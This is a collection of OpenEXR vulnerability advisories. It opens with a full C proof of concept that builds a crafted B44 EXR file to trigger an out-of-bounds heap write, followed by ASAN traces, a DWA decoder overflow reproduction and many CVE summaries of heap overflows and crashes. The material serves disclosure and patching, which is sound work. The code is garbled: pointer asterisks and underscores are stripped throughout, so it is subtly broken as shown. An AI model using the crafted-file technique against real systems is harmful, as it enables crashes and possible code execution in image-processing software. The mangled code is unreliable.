PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompressb44impl() computes row0 += y nx, with y=8 and nx=268435456, the product exceeds INTMAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/pocb44.exr can be replayed independently on any OpenEXR installation. poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h>
#define CHECK(call) do { exrresultt rv = (call); if (rv != EXRERRSUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)rv); goto fail; } } while (0)
static void fillblocks(uint8t out, uint64t n) { for (uint64t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } }
int main(void) { const int64t W = 268435456; const int64t H = 9; const char path = "/tmp/pocb44.exr";
const uint64t blocks = (uint64t)(W / 4) 2 + 1; const uint64t psz = blocks 3;
uint8t packed = (uint8t) malloc(psz); exrcontextt ctxt = NULL; exrcontextinitializert cinit = EXRDEFAULTCONTEXTINITIALIZER; int part = -1; exrchunkinfot cinfo; exrdecodepipelinet dec = EXRDECODEPIPELINEINITIALIZER; uint16t dummy = 0; int ok = 0;
if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fillblocks(packed, blocks);
CHECK(exrstartwrite(&ctxt, path, EXRWRITEFILEDIRECTLY, &cinit)); CHECK(exraddpart(ctxt, "scan", EXRSTORAGESCANLINE, &part)); CHECK(exrinitializerequiredattrsimple( ctxt, part, (int32t)W, (int32t)H, EXRCOMPRESSIONB44)); CHECK(exraddchannel(ctxt, part, "Y", EXRPIXELHALF, EXRPERCEPTUALLYLOGARITHMIC, 1, 1)); CHECK(exrwriteheader(ctxt)); CHECK(exrwritescanlinechunk(ctxt, part, 0, packed, psz)); exrfinish(&ctxt); ctxt = NULL;
fprintf(stderr, "[] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);
CHECK(exrstartread(&ctxt, path, &cinit)); CHECK(exrreadscanlinechunkinfo(ctxt, 0, 0, &cinfo)); CHECK(exrdecodinginitialize(ctxt, 0, &cinfo, &dec));
dec.channels[0].decodetoptr = (uint8t)&dummy; dec.channels[0].userpixelstride = 2; dec.channels[0].userlinestride = dec.channels[0].width 2; dec.channels[0].userbytesperelement = 2; dec.channels[0].userdatatype = dec.channels[0].datatype;
CHECK(exrdecodingchoosedefaultroutines(ctxt, 0, &dec)); dec.unpackandconvertfn = NULL;
fprintf(stderr, "[] calling exrdecodingrun()h\n"); fflush(stderr);
CHECK(exrdecodingrun(ctxt, 0, &dec)); ok = 1;
fail: if (ctxt) { exrdecodingdestroy(ctxt, &dec); exrfinish(&ctxt); } free(packed); return ok ? 0 : 1; } ASAN Trace openexr/src/lib/OpenEXRCore/internalb44.c:561:23: runtime error: signed integer overflow: 8 268435456 cannot be represented in type 'int' #0 in uncompressb44impl internalb44.c:561 #1 in internalexrundob44 internalb44.c:706 #2 in decompressdata compression.c:444 #3 in exruncompresschunk compression.c:541 #4 in exrdecodingrun decoding.c:580 #5 in main poc.c:83
================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompressb44impl internalb44.c:599 #2 in internalexrundob44 internalb44.c:706 #3 in decompressdata compression.c:444 #4 in exruncompresschunk compression.c:541 #5 in exrdecodingrun decoding.c:580 #6 in main poc.c:83
SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompressb44impl internalb44.c:599
Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.7, an attacker providing a crafted .exr file with HTJ2K compression and a channel width of 32768 can write controlled data beyond the output heap buffer in any application that decodes EXR images. The write primitive is 2 bytes per overflow iteration or 4 bytes (by another path), repeating for each additional pixel past the overflow point. In this context, a heap write overflow can lead to remote code execution on systems. This issue has been patched in version 3.4.7.
Summary
The DWA lossy decoder constructs temporary per-component block pointers using signed 32-bit arithmetic. For a large enough width, the calculation overflows and later decoder stores operate on a wrapped pointer outside the allocated rowBlock backing store.
This bug is reachable from the public decoder path and can be reproduced through the shipped exrcheck tool with a crafted scanline DWAA file. The confirmed dynamic symptom is a write-side crash in the lossy DCT execution path.
Tested on commit: 7820b7e1b93405ba1d551c43a945018226b75bc5
Root Cause and Data Flow
The vulnerable pointer construction lives in src/lib/OpenEXRCore/internaldwadecoder.h:
c for (int comp = 1; comp < numComp; ++comp) rowBlock[comp] = rowBlock[comp - 1] + numBlocksX 64;
The expression numBlocksX 64 is computed as signed int. Once numBlocksX is large enough, the multiplication wraps, and rowBlock[comp] points backward rather than forward into the temporary decode buffer.
Later, LossyDctDecoderexecute() uses those derived pointers for real loads and stores during the block shuffle and reconstruction process. At that point the decoder is no longer operating within the bounds of the allocation created for rowBlockHandle.
The public control flow is the standard one:
c InputFile / ScanLineInputFile public read -> exrdecodingrun(...) -> exruncompresschunk(...) -> internalexrundodwaa(...) -> DwaCompressoruncompress(...) -> LossyDctDecoderexecute(...)
UBSan gives a clean root-cause diagnosis on the overflowing multiply, while ASAN shows the later memory error in the write-side decode path.
Reproduction
dwascanlineexrcheck.zip
Build with exrcheck with ASAN and run:
❯ ./build-asan/bin/exrcheck /tmp/dwascanlineexrcheck.exr file /tmp/dwascanlineexrcheck.exr /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:331:58: runtime error: signed integer overflow: 33554432 64 cannot be represented in type 'int' AddressSanitizer:DEADLYSIGNAL ================================================================= ==1684058==ERROR: AddressSanitizer: SEGV on unknown address 0x758f8e5f0800 (pc 0x75979e850336 bp 0x7ffe8f1d3420 sp 0x7ffe8f1d30f0 T0) ==1684058==The signal is caused by a WRITE memory access. #0 0x75979e850336 in LossyDctDecoderexecute /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 #1 0x75979e879592 in DwaCompressoruncompress /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwacompressor.h:1210 #2 0x75979e879592 in internalexrundodwaa /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwa.c:231 #3 0x75979e95f878 in exruncompresschunk /home/pop/sec/openexr/src/lib/OpenEXRCore/compression.c:542 #4 0x75979e9659a8 in exrdecodingrun /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:580 #5 0x7597a0271add in rundecode /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586 #6 0x7597a0283dc4 in Imf40::ScanLineInputFile::Data::readPixels(Imf40::FrameBuffer const&, int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500 #7 0x7597a00c6a81 in Imf40::InputFile::Data::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfInputFile.cpp:458 #8 0x7597a13fe2dc in readScanline<Imf40::InputPart> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:239 #9 0x7597a1405b04 in readMultiPart /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:905 #10 0x7597a14126fd in runChecks<char const> /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1171 #11 0x7597a14146b9 in Imf40::checkOpenEXRFile(char const, bool, bool, bool) /home/pop/sec/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1835 #12 0x61ba9582b8f8 in exrCheck(char const, bool, bool, bool, bool) /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:96 #13 0x61ba958282b1 in main /home/pop/sec/openexr/src/bin/exrcheck/main.cpp:164 #14 0x75979d62a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #15 0x75979d62a28a in libcstartmainimpl ../csu/libc-start.c:360 #16 0x61ba95829844 in start (/home/pop/sec/openexr/build-asan/bin/exrcheck+0xe844) (BuildId: 087c972343a5372940c42c0a2e7bce4a84288aec)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pop/sec/openexr/src/lib/OpenEXRCore/internaldwadecoder.h:524 in LossyDctDecoderexecute ==1684058==ABORTING ------- Found by: Quang Luong of Calif.io
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1722 performs curc->width curc->height in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other locations by the recent CVE-2026-34589 batch, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1722.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.4.0 through 3.4.9, 3.3.0 through 3.3.9, and 3.2.0 through 3.2.7, internaldwacompressor.h:1040 performs chan->width chan->bytesperelement in int32 arithmetic without a (sizet) cast. This is the same overflow pattern fixed in other decoders by CVE-2026-34589/34588/34544, but this line was missed. Versions 3.4.10, 3.3.10, and 3.2.8 contain a fix that addresses internaldwacompressor.h:1040.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.11, the HTJ2K (High-Throughput JPEG 2000) decoder, htundoimpl() in OpenEXRCore is vulnerable to a heap-buffer-overflow READ. The htundoimp function copies decoded pixels out of a per-line OpenJPH buffer using the EXR channel's declared width as the iteration count. The codestream embedded in the EXR chunk can declare different (smaller) tile/line dimensions than the EXR header advertises, but htundoimpl() does not validate this — it pulls width 32-bit samples from curline->i32[] without checking the OpenJPH line buffer's actual length. A crafted EXR file produces a 4-byte heap-buffer-overflow READ immediately after a buffer allocated by ojph::local::codestream::finalizealloc(). The bug is reachable through the standard scanline-decode entry point used by every consumer of exrdecodingrun/Imf::checkOpenEXRFile, including thumbnailers, asset pipelines, and the exrcheck utility — i.e. any application that opens untrusted EXR files. The result is a deterministic crash (DoS) and potential adjacent-heap leak. This issue has been fixed in version 3.4.12.
Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27946.
Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27948.
Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27947.
In OpenEXR 2.2.0, a crafted image causes a heap-based buffer over-read in the hufDecode function in IlmImf/ImfHuf.cpp during exrmaketiled execution; it may result in denial of service or possibly unspecified other impact.
Multiple integer overflows in OpenEXR 1.2.2 and 1.6.1 allow context-dependent attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors that trigger heap-based buffer overflows, related to (1) the Imf::PreviewImage::PreviewImage function and (2) compressor constructors. NOTE: some of these details are obtained from third party information.
A flaw was found in OpenEXR's Multipart input file functionality. A crafted multi-part input file with no actual parts can trigger a NULL pointer dereference. The highest threat from this vulnerability is to system availability.
A flaw was found in OpenEXR's B44Compressor. This flaw allows an attacker who can submit a crafted file to be processed by OpenEXR, to exhaust all memory accessible to the application. The highest threat from this vulnerability is to system availability.
A flaw was found in OpenEXR's hufDecode functionality. This flaw allows an attacker who can pass a crafted file to be processed by OpenEXR, to trigger an undefined right shift error. The highest threat from this vulnerability is to system availability.
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoderexecute() in src/lib/OpenEXRCore/internaldwadecoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8t row pointer to float and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9.
OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions 3.4.0 through 3.4.11, an integer overflow in htundoimpl() in src/lib/OpenEXRCore/internalht.cpp leads to a heap-buffer overflow when decoding a crafted HTJ2K-compressed EXR file. decode->channels[i].width (int32t) is multiplied by bytesperelement in 32-bit signed arithmetic. With large widths (e.g., >= 536870912 for FLOAT data), this overflows, producing a corrupted offset that is later used for pointer arithmetic and can cause a heap out-of-bounds write. The same unchecked multiplication pattern appears in two other HTJ2K paths (bytes-per-line accumulation and pixel-line pointer advancement). As with related CVE-2026-34378 through CVE-2026-34589 fixes in other codecs, validating only after the multiplication is too late because the value may already be overflowed. This issue has been fixed in version 3.4.12.
A flaw was found in OpenEXR's hufUncompress functionality in OpenEXR/IlmImf/ImfHuf.cpp. This flaw allows an attacker who can submit a crafted file that is processed by OpenEXR, to trigger an integer overflow. The highest threat from this vulnerability is to system availability.
A flaw was found in OpenEXR's TiledInputFile functionality. This flaw allows an attacker who can submit a crafted single-part non-image to be processed by OpenEXR, to trigger a floating-point exception error. The highest threat from this vulnerability is to system availability.